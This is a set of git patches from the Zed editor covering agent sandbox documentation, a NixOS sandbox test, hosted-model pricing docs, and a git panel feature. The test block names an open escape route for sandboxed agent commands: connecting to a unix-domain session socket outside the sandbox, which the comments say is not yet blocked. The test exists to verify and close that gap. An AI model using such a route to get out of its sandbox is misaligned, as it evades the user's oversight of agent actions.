 Tools that do not honor proxy environment variables, such as SSH, FTP, and raw socket clients, may not work even after host-specific network access is approved.
@@ -128,7 +204,7 @@ For networked terminal commands, prefer HTTPS URLs over SSH URLs when possible.
 
 ### Linux {#linux}
 
-On Linux, Zed uses Bubblewrap (`bwrap`) for sandboxing.
+On Linux, Zed uses [Bubblewrap][bubblewrap] (`bwrap`) for sandboxing.
 
 Zed only uses a non-setuid `bwrap` binary. Its sandbox is built entirely on unprivileged user namespaces, so a setuid-root
 `bwrap` provides no extra functionality, and running one would mean executing root-privileged setup with arguments partly
@@ -139,7 +215,7 @@ Sandboxed terminal commands:
 
 - can read the filesystem, including protected Git metadata contents
 - can write inside open project directories, except protected Git metadata
-- can write to `/tmp`, which is backed by a fresh temporary filesystem and is cleared between terminal tool calls
+- can write to `/tmp`, which is backed by a fresh temporary filesystem and is cleared between terminal tool calls (when you approve unrestricted filesystem writes, `/tmp` is instead your real host `/tmp` rather than a fresh temporary filesystem)
 - cannot write protected Git metadata
 - cannot write elsewhere unless you approve additional paths or broader write access
 - cannot reach the network unless you approve network access
@@ -151,6 +227,54 @@ after host-specific network access is approved.
 If Bubblewrap is unavailable or cannot create a sandbox in the current environment, Zed may run the command without the OS
 sandbox and show a warning in the tool output.
 
+#### Installing Bubblewrap {#installing-bubblewrap}
+
+Zed needs a runnable, non-setuid `bwrap` binary on your `$PATH`. Installing
+`bubblewrap` from your distribution's package manager is usually all you need.
+
+You can test whether it's working with:
+
+```sh
+bwrap --ro-bind / / -- echo "working"
+```
+
+"Non-setuid" here refers to the [setuid bit][setuid bit]. Historically,
+bubblewrap has shipped both a setuid and non-setuid binary. The setuid binary is
+being phased out for security concerns, and so Zed's sandbox _explicitly rejects
+setuid `bwrap` binaries_.
+
+##### Ubuntu-specific requirements {#installing-bubblewrap-ubuntu}
+
+> **Note:** The following does not affect Ubuntu on WSL.
+
+Bubblewrap relies on a Linux kernel feature known as "namespaces". Unprivileged
+users on many systems can create namespaces, but historically, this feature has
+been used for a variety of attacks.
+
+In response to this, in Ubuntu 23.10, Canonical [added a security
+measure][ubuntu blog] that restricts unprivileged user namespaces. These
+restrictions are enforced by AppArmor.
+
+Because of this, you may also need to install an AppArmor profile for bubblewrap
+after you install it. This is a configuration file that gives bubblewrap the
+ability to create namespaces without needing `sudo`.
+
+```sh
+sudo apt install bubblewrap
+
+# On Ubuntu 25.04 and later, `apparmor` ships with a profile for bubblewrap by default.
+# Make sure you're up-to-date
+sudo apt install --only-upgrade apparmor
+
+# On older versions, manually install the profile
+sudo apt update
+sudo apt install apparmor-profiles apparmor-utils
+sudo install -m 0644 \
+  /usr/share/apparmor/extra-profiles/bwrap-userns-restrict \
+  /etc/apparmor.d/bwrap-userns-restrict
+sudo apparmor_parser -r /etc/apparmor.d/bwrap-userns-restrict
+```
+
 ### Windows {#windows}
 
 On Windows, Zed Agent sandboxing is supported only when the agent action runs inside WSL.
@@ -167,8 +291,8 @@ When running inside WSL, the Linux sandboxing behavior applies, including the re
 - network access is all-or-nothing rather than host-specific, so host-specific network requests are rejected and the agent must request unrestricted network access when network access is needed
 
 If WSL is not installed, or if you choose to run a command without the sandbox, Zed falls back to the standard terminal
-behavior of running in your native shell. It selects the shell using the usual preference order: Git Bash (or scoop's
-bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`. Because the command then runs against native
+behavior of running in your native shell. It selects the shell using the usual preference order: a bash (scoop's bash or
+Git Bash) when one is installed, otherwise PowerShell, and finally `cmd.exe`. Because the command then runs against native
 Windows paths instead of WSL's Linux filesystem, path conventions change accordingly (for example `C:\...` or `/c/...`
 rather than WSL's `/mnt/c/...`), so a command written for the sandboxed WSL shell may behave differently.
 
@@ -184,3 +308,7 @@ When reviewing a sandbox prompt, prefer the narrowest permission that lets the t
 
 If a command fails because the sandbox blocked access, ask the agent why it needs that access before approving a broader
 request.
+
+[bubblewrap]: https://github.com/containers/bubblewrap
+[setuid bit]: https://en.wikipedia.org/wiki/Setuid
+[ubuntu blog]: https://ubuntu.com/blog/ubuntu-23-10-restricted-unprivileged-user-namespaces
diff --git a/nix/tests/sandboxing/default.nix b/nix/tests/sandboxing/default.nix
index 185c70bbe4cc5f..7aee3c7537d020 100644
--- a/nix/tests/sandboxing/default.nix
+++ b/nix/tests/sandboxing/default.nix
@@ -23,6 +23,7 @@
 #   { read = "/path"; succeeds = true; }          # read a host file
 #   { write = "/path"; succeeds = false; }        # write a host file
 #   { network = "echo1"; succeeds = true; }       # connect to an echo server
+#   { socketPath = "/run/x.sock"; succeeds = false; }   # connect a unix socket
 #   { canCreate = false; error = "bwrap_not_found"; }   # Sandbox::can_create
 #
 # plus optional policy fields applied to that check (defaults shown):
@@ -71,6 +72,14 @@ let
     };
   };
 
+  # A unix-domain socket, owned by a process *outside* the sandbox, that a
+  # sandboxed command must not be able to `connect()` to. It lives under `/run`
+  # (which the sandbox `--ro-bind`s along with the rest of `/`) and NOT under
+  # `/tmp` (which the restricted-fs sandbox masks with a tmpfs, hiding anything
+  # there), so it stays visible inside the sandbox and the block is what's
+  # actually under test.
+  unixSocketPath = "/run/zed-sandbox-test.sock";
+
   # Quiet boot + a couple of cores; shared by every machine-under-test.
   baseMachine = {
     boot.consoleLogLevel = lib.mkForce 3; # be quiet pls :)
@@ -80,6 +89,18 @@ let
       memorySize = 1024;
       cores = 2;
     };
+
+    # A unix-socket echo server outside the sandbox, so a sandboxed `connect()`
+    # has a real peer: without a listener the connect would fail with
+    # ECONNREFUSED even absent the sandbox, giving a false "blocked" pass.
+    systemd.services.unix-echo-server = {
+      description = "Unix-domain-socket echo server";
+      wantedBy = [ "multi-user.target" ];
+      serviceConfig = {
+        ExecStart = "${pkgs.socat}/bin/socat -d UNIX-LISTEN:${unixSocketPath},fork,reuseaddr EXEC:cat";
+        Restart = "on-failure";
+      };
+    };
   };
 
   # Per-scenario host configuration. Each entry layers onto `baseMachine`.
@@ -158,6 +179,10 @@ let
         machine.wait_until_succeeds("getent hosts echo1", timeout=30)
         machine.wait_until_succeeds("getent hosts echo2", timeout=30)
 
+        # The unix-socket checks need a real peer outside the sandbox; wait for
+        # the listener to be up before running the helper.
+        machine.wait_until_succeeds("test -S ${unixSocketPath}", timeout=30)
+
         # The helper logs each check tagged `[sandbox_test]:`. `succeed` fails the
         # whole test on a non-zero exit; we print its output so the per-check
         # results show up in the build log.
@@ -322,6 +347,31 @@ in
         succeeds = false;
       }
 
+      # ---- Unix-domain socket escape ----------------------------------------
+      # A sandboxed command must NOT be able to connect to a unix-domain socket
+      # owned by a process outside the sandbox (session-IPC escape). Currently
+      # FAILS (no seccomp guard yet); becomes a regression test once the
+      # socket(AF_UNIX) seccomp filter lands.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "blocked";
+        socketPath = unixSocketPath;
+        succeeds = false;
+      }
+
+      # The unix-socket block must hold regardless of network policy: our design
+      # decouples unix-socket blocking from the network grant, so even an
+      # unrestricted-network command must not reach an outside-the-sandbox
+      # session IPC socket. Also currently FAILS until the seccomp filter lands.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "unrestricted";
+        socketPath = unixSocketPath;
+        succeeds = false;
+      }
+
       # On a working host the sandbox can be created.
       {
         fs = "restricted";

From 5f8a7413a31769e0882357f90dc424b3962ac72d Mon Sep 17 00:00:00 2001
From: morgankrey <morgan@zed.dev>
Date: Fri, 10 Jul 2026 18:24:52 -0500
Subject: [PATCH 389/772] Update Zed-hosted model documentation (#60771)

## Summary

- Document pricing and Zed-hosted context limits for Claude Fable 5,
Claude Sonnet 5, and GPT-5.6 Sol, Terra, and Luna.
- Record recent Gemini and xAI model retirements and replacement
guidance.
- Put the Fable safety-retention warning on the hosted-model reference
and align the privacy docs with the current Anthropic Covered Models
terminology and retention period.

## Sources

- zed-industries/cloud origin/main at
f5d109a868a303241e89ea30d6da8da19699ead4
- OpenAI GPT-5.6 model documentation
- Anthropic Covered Models retention policy
- xAI May 15, 2026 model retirement guide

## Testing

- pnpm dlx prettier@3.5.0 . --check
- mdbook build docs

Release Notes:

- N/A
---
 docs/src/account/zed-hosted-models.md | 42 +++++++++++++++++++++++----
 docs/src/ai/ai-improvement.md         |  4 +--
 docs/src/ai/privacy-and-security.md   | 37 ++++++++++++-----------
 docs/src/business/privacy.md          |  2 +-
 4 files changed, 57 insertions(+), 28 deletions(-)

diff --git a/docs/src/account/zed-hosted-models.md b/docs/src/account/zed-hosted-models.md
index a74fd81b572d7b..cc79a54ddf7579 100644
--- a/docs/src/account/zed-hosted-models.md
+++ b/docs/src/account/zed-hosted-models.md
@@ -1,16 +1,20 @@
 ---
 title: Zed-Hosted Models - Zed
-description: AI models available via Zed Pro including Claude, GPT-5.5, Gemini 3.1 Pro, and Gemini 3.5 Flash. Pricing, context windows, and tool call support.
+description: AI models available via Zed Pro including Claude Fable 5, Claude Sonnet 5, GPT-5.6, and Gemini 3. Pricing, context windows, and tool call support.
 ---
 
 # Zed-Hosted Models
 
 Zed's plans offer hosted versions of major LLMs with higher rate limits than direct API access. Model availability is updated regularly. To use your own API keys instead, see [LLM Providers](../ai/llm-providers.md). For general setup, see [AI Quick Start](../ai/quick-start.md).
 
-> **Note:** Claude Opus models, GPT-5.5 pro, and GPT-5.4 pro are only available on Zed Pro and Zed Business.
+> **Note:** Claude Fable 5, Claude Opus models, GPT-5.5 pro, and GPT-5.4 pro are only available on Zed Pro and Zed Business.
 
 | Model             | Provider  | Token Type          | Provider Price per 1M tokens | Zed Price per 1M tokens |
 | ----------------- | --------- | ------------------- | ---------------------------- | ----------------------- |
+| Claude Fable 5    | Anthropic | Input               | $10.00                       | $11.00                  |
+|                   | Anthropic | Output              | $50.00                       | $55.00                  |
+|                   | Anthropic | Input - Cache Write | $12.50                       | $13.75                  |
+|                   | Anthropic | Input - Cache Read  | $1.00                        | $1.10                   |
 | Claude Opus 4.5   | Anthropic | Input               | $5.00                        | $5.50                   |
 |                   | Anthropic | Output              | $25.00                       | $27.50                  |
 |                   | Anthropic | Input - Cache Write | $6.25                        | $6.875                  |
@@ -27,6 +31,10 @@ Zed's plans offer hosted versions of major LLMs with higher rate limits than dir
 |                   | Anthropic | Output              | $25.00                       | $27.50                  |
 |                   | Anthropic | Input - Cache Write | $6.25                        | $6.875                  |
 |                   | Anthropic | Input - Cache Read  | $0.50                        | $0.55                   |
+| Claude Sonnet 5   | Anthropic | Input               | $2.00                        | $2.20                   |
+|                   | Anthropic | Output              | $10.00                       | $11.00                  |
+|                   | Anthropic | Input - Cache Write | $2.50                        | $2.75                   |
+|                   | Anthropic | Input - Cache Read  | $0.20                        | $0.22                   |
 | Claude Sonnet 4.5 | Anthropic | Input               | $3.00                        | $3.30                   |
 |                   | Anthropic | Output              | $15.00                       | $16.50                  |
 |                   | Anthropic | Input - Cache Write | $3.75                        | $4.125                  |
@@ -39,6 +47,18 @@ Zed's plans offer hosted versions of major LLMs with higher rate limits than dir
 |                   | Anthropic | Output              | $5.00                        | $5.50                   |
 |                   | Anthropic | Input - Cache Write | $1.25                        | $1.375                  |
 |                   | Anthropic | Input - Cache Read  | $0.10                        | $0.11                   |
+| GPT-5.6 Sol       | OpenAI    | Input               | $5.00                        | $5.50                   |
+|                   | OpenAI    | Output              | $30.00                       | $33.00                  |
+|                   | OpenAI    | Input - Cache Write | $6.25                        | $6.875                  |
+|                   | OpenAI    | Cached Input        | $0.50                        | $0.55                   |
+| GPT-5.6 Terra     | OpenAI    | Input               | $2.50                        | $2.75                   |
+|                   | OpenAI    | Output              | $15.00                       | $16.50                  |
+|                   | OpenAI    | Input - Cache Write | $3.125                       | $3.4375                 |
+|                   | OpenAI    | Cached Input        | $0.25                        | $0.275                  |
+| GPT-5.6 Luna      | OpenAI    | Input               | $1.00                        | $1.10                   |
+|                   | OpenAI    | Output              | $6.00                        | $6.60                   |
+|                   | OpenAI    | Input - Cache Write | $1.25                        | $1.375                  |
+|                   | OpenAI    | Cached Input        | $0.10                        | $0.11                   |
 | GPT-5.5 pro       | OpenAI    | Input               | $30.00                       | $33.00                  |
 |                   | OpenAI    | Output              | $180.00                      | $198.00                 |
 | GPT-5.5           | OpenAI    | Input               | $5.00                        | $5.50                   |
@@ -71,17 +91,22 @@ Zed's plans offer hosted versions of major LLMs with higher rate limits than dir
 | Gemini 3 Flash    | Google    | Input               | $0.50                        | $0.55                   |
 |                   | Google    | Output              | $3.00                        | $3.30                   |
 
-## Recent Model Retirements
+> **Warn:** Anthropic retains prompts and outputs sent to Claude Fable 5 for at least 30 days for trust and safety purposes. The no-training commitment still applies, and Zed does not retain your prompts or outputs. See [Provider Safety Retention for Designated Models](../ai/privacy-and-security.md#provider-safety-retention).
+
+The Claude Sonnet 5 prices shown above use Anthropic's introductory pricing through August 31, 2026.
+
+## Recent Model Retirements {#recent-model-retirements}
 
-As of February 19, 2026, Zed Pro serves newer model versions in place of the retired models below:
+Zed no longer offers the models below:
 
 - Claude Opus 4.1 → Claude Opus 4.5, Claude Opus 4.6, Claude Opus 4.7, or Claude Opus 4.8
 - Claude Sonnet 4 → Claude Sonnet 4.5 or Claude Sonnet 4.6
-- Claude Sonnet 3.7 (retired Feb 19) → Claude Sonnet 4.5 or Claude Sonnet 4.6
+- Claude Sonnet 3.7 (retired February 19, 2026) → Claude Sonnet 4.5 or Claude Sonnet 4.6
 - GPT-5.1 and GPT-5 → GPT-5.2 or GPT-5.2-Codex
 - Gemini 2.5 Pro → Gemini 3.1 Pro
-- Gemini 3 Pro → Gemini 3.1 Pro
+- Gemini 3 Pro (retired March 26, 2026) → Gemini 3.1 Pro
 - Gemini 2.5 Flash → Gemini 3 Flash or Gemini 3.5 Flash
+- Grok 4, Grok 4 Fast, Grok 4 Fast (Non-Reasoning), and Grok Code Fast 1 ([retired May 15, 2026](https://docs.x.ai/developers/migration/may-15-retirement)). Zed no longer offers hosted xAI models.
 
 ## Usage {#usage}
 
@@ -97,13 +122,18 @@ A context window is the maximum span of text and code an LLM can consider at onc
 
 | Model             | Provider  | Zed-Hosted Context Window |
 | ----------------- | --------- | ------------------------- |
+| Claude Fable 5    | Anthropic | 1M                        |
 | Claude Opus 4.5   | Anthropic | 200k                      |
 | Claude Opus 4.6   | Anthropic | 1M                        |
 | Claude Opus 4.7   | Anthropic | 1M                        |
 | Claude Opus 4.8   | Anthropic | 1M                        |
+| Claude Sonnet 5   | Anthropic | 1M                        |
 | Claude Sonnet 4.5 | Anthropic | 200k                      |
 | Claude Sonnet 4.6 | Anthropic | 1M                        |
 | Claude Haiku 4.5  | Anthropic | 200k                      |
+| GPT-5.6 Sol       | OpenAI    | 272k input / 400k total   |
+| GPT-5.6 Terra     | OpenAI    | 272k input / 400k total   |
+| GPT-5.6 Luna      | OpenAI    | 272k input / 400k total   |
 | GPT-5.5 pro       | OpenAI    | 272k input / 400k total   |
 | GPT-5.5           | OpenAI    | 272k input / 400k total   |
 | GPT-5.4 pro       | OpenAI    | 272k input / 400k total   |
diff --git a/docs/src/ai/ai-improvement.md b/docs/src/ai/ai-improvement.md
index 72ff46b37fa691..172a70e3f97d26 100644
--- a/docs/src/ai/ai-improvement.md
+++ b/docs/src/ai/ai-improvement.md
@@ -10,7 +10,7 @@ Normal AI requests are not retained by Zed. For
 prohibit training on your prompts or code context and require zero data
 retention, except for
 [provider-designated models with safety retention](./privacy-and-security.md#provider-safety-retention),
-such as Anthropic's Mythos-class models.
+such as Anthropic's Covered Models.
 This page covers the cases where Zed may retain AI data because you explicitly
 shared it or opted in.
 
@@ -28,7 +28,7 @@ For the broader request path and provider data boundaries, see
 
 Zed-hosted model zero-data-retention and no-training commitments, including the
 exception for provider-designated models with safety retention (such as
-Anthropic's Mythos-class models), are documented
+Anthropic's Covered Models), are documented
 on [AI Privacy](./privacy-and-security.md#data-retention-and-training).
 
 ## Response Ratings and Feedback {#ai-feedback-with-ratings}
diff --git a/docs/src/ai/privacy-and-security.md b/docs/src/ai/privacy-and-security.md
index 354feba64aff88..3943206a37fa66 100644
--- a/docs/src/ai/privacy-and-security.md
+++ b/docs/src/ai/privacy-and-security.md
@@ -15,24 +15,24 @@ Zed does not retain your prompts or code context by default. For
 commitments from model providers, and provider agreements require zero data
 retention for inference requests except for
 [provider-designated models with safety retention](#provider-safety-retention),
-such as Anthropic's Mythos-class models.
+such as Anthropic's Covered Models.
 Zed only retains AI data when you explicitly share feedback or opt in to
 training data collection.
 
 ## AI Request Paths {#ai-request-paths}
 
-| Path                                                         | Who handles model requests                        | What to know                                                                                                                                                                                                                        | Details                                                                                           |
-| ------------------------------------------------------------ | ------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------- |
-| [Zed-hosted models](../account/zed-hosted-models.md)         | Zed routes requests to hosted model providers     | Provider agreements prohibit training on your prompts or code context and require zero data retention for inference requests, except for provider-designated models with safety retention, such as Anthropic's Mythos-class models. | [Zed-hosted model commitments](#data-retention-and-training)                                      |
-| [Provider API keys](./use-api-access.md)                     | The configured provider                           | The provider handles requests under its own terms. Provider keys saved through Zed are stored in the system keychain, not in `settings.json`.                                                                                       | [Use API Access](./use-api-access.md)                                                             |
-| [Existing subscriptions](./use-an-existing-subscription.md)  | The subscription provider                         | The provider handles requests under the subscription terms.                                                                                                                                                                         | [Use an Existing Subscription](./use-an-existing-subscription.md)                                 |
-| [Gateways](./use-a-gateway.md)                               | The configured gateway and upstream providers     | The gateway and upstream providers handle requests under their own terms.                                                                                                                                                           | [Use a Gateway](./use-a-gateway.md)                                                               |
-| [Local models](./use-a-local-model.md)                       | The local server or self-hosted endpoint          | The local server handles requests according to how you configured that server.                                                                                                                                                      | [Use a Local Model](./use-a-local-model.md)                                                       |
-| [External Agents](./external-agents.md)                      | The External Agent and its configured providers   | The External Agent handles model requests under its own terms. Tool and MCP behavior depends on agent and ACP configuration.                                                                                                        | [External Agents](./external-agents.md)                                                           |
-| [Terminal Threads](./terminal-threads.md)                    | The CLI or TUI running in the terminal            | The CLI or TUI owns its auth, model routing, tools, instructions, MCP configuration, and data handling.                                                                                                                             | [Terminal Threads](./terminal-threads.md)                                                         |
-| [Edit Prediction](./edit-prediction.md)                      | The selected edit prediction provider             | Each keystroke can send local editing context to the selected provider. Zeta requests are processed transiently unless training data collection is enabled; third-party providers follow their own terms.                           | [Edit Prediction](./edit-prediction.md), [Feedback and Training Data](./ai-improvement.md)        |
-| [Agent tools](./tools.md), [MCP](./mcp.md), and integrations | Zed, configured MCP servers, and external systems | Tools can read, edit, search, run commands, fetch URLs, or call external systems depending on profile, MCP server, and tool permission settings.                                                                                    | [Agent Profiles](./agent-profiles.md), [Tool Permissions](./tool-permissions.md), [MCP](./mcp.md) |
-| Project trust and instructions                               | Zed and the trusted worktree                      | Project-local instructions and skills are loaded from trusted worktrees. External Agents and Terminal Threads may read their own instruction files.                                                                                 | [Worktree Trust](../worktree-trust.md), [Skills](./skills.md), [Instructions](./instructions.md)  |
+| Path                                                         | Who handles model requests                        | What to know                                                                                                                                                                                                                   | Details                                                                                           |
+| ------------------------------------------------------------ | ------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------- |
+| [Zed-hosted models](../account/zed-hosted-models.md)         | Zed routes requests to hosted model providers     | Provider agreements prohibit training on your prompts or code context and require zero data retention for inference requests, except for provider-designated models with safety retention, such as Anthropic's Covered Models. | [Zed-hosted model commitments](#data-retention-and-training)                                      |
+| [Provider API keys](./use-api-access.md)                     | The configured provider                           | The provider handles requests under its own terms. Provider keys saved through Zed are stored in the system keychain, not in `settings.json`.                                                                                  | [Use API Access](./use-api-access.md)                                                             |
+| [Existing subscriptions](./use-an-existing-subscription.md)  | The subscription provider                         | The provider handles requests under the subscription terms.                                                                                                                                                                    | [Use an Existing Subscription](./use-an-existing-subscription.md)                                 |
+| [Gateways](./use-a-gateway.md)                               | The configured gateway and upstream providers     | The gateway and upstream providers handle requests under their own terms.                                                                                                                                                      | [Use a Gateway](./use-a-gateway.md)                                                               |
+| [Local models](./use-a-local-model.md)                       | The local server or self-hosted endpoint          | The local server handles requests according to how you configured that server.                                                                                                                                                 | [Use a Local Model](./use-a-local-model.md)                                                       |
+| [External Agents](./external-agents.md)                      | The External Agent and its configured providers   | The External Agent handles model requests under its own terms. Tool and MCP behavior depends on agent and ACP configuration.                                                                                                   | [External Agents](./external-agents.md)                                                           |
+| [Terminal Threads](./terminal-threads.md)                    | The CLI or TUI running in the terminal            | The CLI or TUI owns its auth, model routing, tools, instructions, MCP configuration, and data handling.                                                                                                                        | [Terminal Threads](./terminal-threads.md)                                                         |
+| [Edit Prediction](./edit-prediction.md)                      | The selected edit prediction provider             | Each keystroke can send local editing context to the selected provider. Zeta requests are processed transiently unless training data collection is enabled; third-party providers follow their own terms.                      | [Edit Prediction](./edit-prediction.md), [Feedback and Training Data](./ai-improvement.md)        |
+| [Agent tools](./tools.md), [MCP](./mcp.md), and integrations | Zed, configured MCP servers, and external systems | Tools can read, edit, search, run commands, fetch URLs, or call external systems depending on profile, MCP server, and tool permission settings.                                                                               | [Agent Profiles](./agent-profiles.md), [Tool Permissions](./tool-permissions.md), [MCP](./mcp.md) |
+| Project trust and instructions                               | Zed and the trusted worktree                      | Project-local instructions and skills are loaded from trusted worktrees. External Agents and Terminal Threads may read their own instruction files.                                                                            | [Worktree Trust](../worktree-trust.md), [Skills](./skills.md), [Instructions](./instructions.md)  |
 
 ## Zed-Hosted Model Commitments {#data-retention-and-training}
 
@@ -40,7 +40,7 @@ For Zed-hosted models, Zed has commitments from model providers that prohibit
 training on your prompts or code context and require zero data retention for
 inference requests, except for
 [provider-designated models with safety retention](#provider-safety-retention),
-such as Anthropic's Mythos-class models. The public provider documents linked below describe provider programs or default
+such as Anthropic's Covered Models. The public provider documents linked below describe provider programs or default
 API terms; Zed-hosted model requests are governed by Zed's provider agreements.
 
 | Provider  | No training reference                                   | Zero-data-retention reference                                                                                                                                                                      |
@@ -53,11 +53,10 @@ API terms; Zed-hosted model requests are governed by Zed's provider agreements.
 
 Some providers require limited data retention for specific models as a condition
 of offering them, on every platform where those models are available. Anthropic
-retains prompts and outputs for models it designates as covered models (its
-Mythos-class models, such as Claude Fable 5) for 30 days for trust and safety
-purposes. Zed cannot opt out of this retention; it applies wherever these models
-are served. See
-[Anthropic's data retention practices for Mythos-class models](https://support.claude.com/en/articles/15425996-data-retention-practices-for-mythos-class-models).
+retains prompts and outputs for models it designates as Covered Models, including
+Claude Fable 5, for at least 30 days for trust and safety purposes. Zed cannot
+opt out of this retention; it applies wherever these models are served. See
+[Anthropic's data retention practices for Covered Models](https://support.claude.com/en/articles/15425996-data-retention-practices-for-covered-models).
 
 For these models:
 
diff --git a/docs/src/business/privacy.md b/docs/src/business/privacy.md
index 5b2e7e6e2e9986..aeaaf3aa088eb4 100644
--- a/docs/src/business/privacy.md
+++ b/docs/src/business/privacy.md
@@ -36,7 +36,7 @@ Neither option is available to Zed Business members.
 
 ## What data still leaves the organization
 
-These controls cover what Zed stores and trains on. They don't change how AI inference works: when members use Zed's hosted models, prompts and code context are still sent to the relevant provider (Anthropic, OpenAI, Google, etc.) to generate responses. Zed maintains no-training commitments with these providers, and zero-data-retention commitments for all models except [provider-designated models with safety retention](../ai/privacy-and-security.md#provider-safety-retention), such as Anthropic's Mythos-class models. See [AI Privacy](../ai/privacy-and-security.md#data-retention-and-training) for details.
+These controls cover what Zed stores and trains on. They don't change how AI inference works: when members use Zed's hosted models, prompts and code context are still sent to the relevant provider (Anthropic, OpenAI, Google, etc.) to generate responses. Zed maintains no-training commitments with these providers, and zero-data-retention commitments for all models except [provider-designated models with safety retention](../ai/privacy-and-security.md#provider-safety-retention), such as Anthropic's Covered Models. See [AI Privacy](../ai/privacy-and-security.md#data-retention-and-training) for details.
 
 [Bring-your-own-key](../ai/llm-providers.md), [gateways](../ai/use-a-gateway.md), [local or self-hosted models](../ai/use-a-local-model.md), [External Agents](../ai/external-agents.md), and [Terminal Threads](../ai/terminal-threads.md) are subject to each provider, gateway, server, agent, or CLI's own terms.
 

From bc990753733d6da5368e9e38ed360afc1704efc5 Mon Sep 17 00:00:00 2001
From: Eli Stark <i@whitehat.com.ua>
Date: Sat, 11 Jul 2026 08:46:17 -0400
Subject: [PATCH 390/772] Guard OpenCode bell plugin in ACP mode (#60507)

## Summary

- Add an ACP-mode guard to the documented OpenCode bell plugin snippet
- Preserve terminal bell notifications for Terminal Threads while
avoiding writes to stdout when OpenCode is used as an ACP External Agent

## Rationale

The OpenCode bell plugin writes BEL to stdout for Terminal Thread
notifications. When the plugin is installed globally and OpenCode runs
in ACP mode, stdout is the JSON-RPC transport. OpenCode sets
`OPENCODE_CLIENT=acp` in this mode, so the guard prevents BEL bytes from
corrupting ACP JSON-RPC messages, including usage updates and permission
flows.

Release Notes:

- N/A
---
 docs/src/ai/terminal-threads.md | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/docs/src/ai/terminal-threads.md b/docs/src/ai/terminal-threads.md
index dd4d454b706d94..a44759a23852d1 100644
--- a/docs/src/ai/terminal-threads.md
+++ b/docs/src/ai/terminal-threads.md
@@ -116,6 +116,8 @@ Create `.opencode/plugins/zed-bell.js` in your project, or `~/.config/opencode/p
 export const ZedBell = async () => {
   return {
     event: async ({ event }) => {
+      if (process.env.OPENCODE_CLIENT === "acp") return;
+
       if (event.type === "session.idle" || event.type === "permission.asked") {
         process.stdout.write("\x07");
       }

From 65e1c5af258d4c80036467d583691f3f9ded0897 Mon Sep 17 00:00:00 2001
From: Sathwik Chirivelli <146921254+chirivelli@users.noreply.github.com>
Date: Sat, 11 Jul 2026 19:06:18 +0530
Subject: [PATCH 391/772] git_panel: Add group by staging view option (#59884)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

- Add a view option for group by staging.

## Solution

- Add a new option for group_by under git_panel view options, with 2
sections "Staged" and "Unstaged", with buttons (+/-) to stage and
unstage

## Testing

- cargo check -p git_ui

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

<img width="1679" height="1140" alt="Screenshot 2026-06-25 at 2 09
44 PM"
src="https://github.com/user-attachments/assets/1b605cad-7792-4823-983c-ada41be25504"
/>


---

Release Notes:

- Added group by staging view option

---------

Co-authored-by: Christopher Biscardi <chris@christopherbiscardi.com>
---
 crates/git_ui/src/git_panel.rs                | 1188 +++++++++++++++--
 crates/git_ui/src/staged_diff.rs              |   14 +-
 crates/git_ui/src/unstaged_diff.rs            |   14 +-
 .../settings_content/src/settings_content.rs  |    1 +
 docs/src/visual-customization.md              |    2 +-
 5 files changed, 1078 insertions(+), 141 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 781dd31b896c8b..798b1bad24ba41 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -82,8 +82,9 @@ use theme_settings::ThemeSettings;
 use time::OffsetDateTime;
 use ui::{
     ButtonLike, Checkbox, Chip, ContextMenu, ContextMenuEntry, Divider, ElevationIndex,
-    IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle, ProjectEmptyState, ScrollAxes,
-    Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar, prelude::*,
+    IconButtonShape, IndentGuideColors, KeyBinding, PopoverMenu, PopoverMenuHandle,
+    ProjectEmptyState, ScrollAxes, Scrollbars, SplitButton, Tab, TintColor, Tooltip, WithScrollbar,
+    prelude::*,
 };
 use util::paths::PathStyle;
 use util::{ResultExt, TryFutureExt, markdown::MarkdownInlineCode, maybe, rel_path::RelPath};
@@ -136,6 +137,8 @@ actions!(
         SetGroupByNone,
         /// Groups entries by status.
         SetGroupByStatus,
+        /// Groups entries by staging state.
+        SetGroupByStaging,
         /// Toggles showing entries in tree vs flat view.
         ToggleTreeView,
         /// Expands the selected entry to show its children.
@@ -332,6 +335,23 @@ fn git_panel_view_options_menu(
                         }
                     })
             })
+            .item({
+                let view_options_menu_state = view_options_menu_state.clone();
+                ContextMenuEntry::new("Staging")
+                    .toggle(
+                        IconPosition::End,
+                        state.group_by == GitPanelGroupBy::Staging,
+                    )
+                    .handler(move |window, cx| {
+                        if state.group_by != GitPanelGroupBy::Staging {
+                            view_options_menu_state.set(GitPanelViewOptionsMenuState {
+                                group_by: GitPanelGroupBy::Staging,
+                                ..state
+                            });
+                            window.dispatch_action(Box::new(SetGroupByStaging), cx);
+                        }
+                    })
+            })
     })
 }
 
@@ -436,6 +456,8 @@ enum Section {
     Conflict,
     Tracked,
     New,
+    Staged,
+    Unstaged,
 }
 
 #[derive(Debug, PartialEq, Eq, Clone)]
@@ -443,6 +465,26 @@ struct GitHeaderEntry {
     header: Section,
 }
 
+#[derive(Debug, PartialEq, Eq, Clone, Copy)]
+struct ProjectedChangeEntry {
+    section: Section,
+    index: usize,
+}
+
+#[derive(Clone, Copy)]
+struct StagingAction {
+    stage: bool,
+    icon: IconName,
+    label: &'static str,
+}
+
+#[derive(Clone, Copy, PartialEq, Eq)]
+enum DiffTarget {
+    Uncommitted,
+    Staged,
+    Unstaged,
+}
+
 impl GitHeaderEntry {
     pub fn contains(&self, status_entry: &GitStatusEntry, repo: &Repository) -> bool {
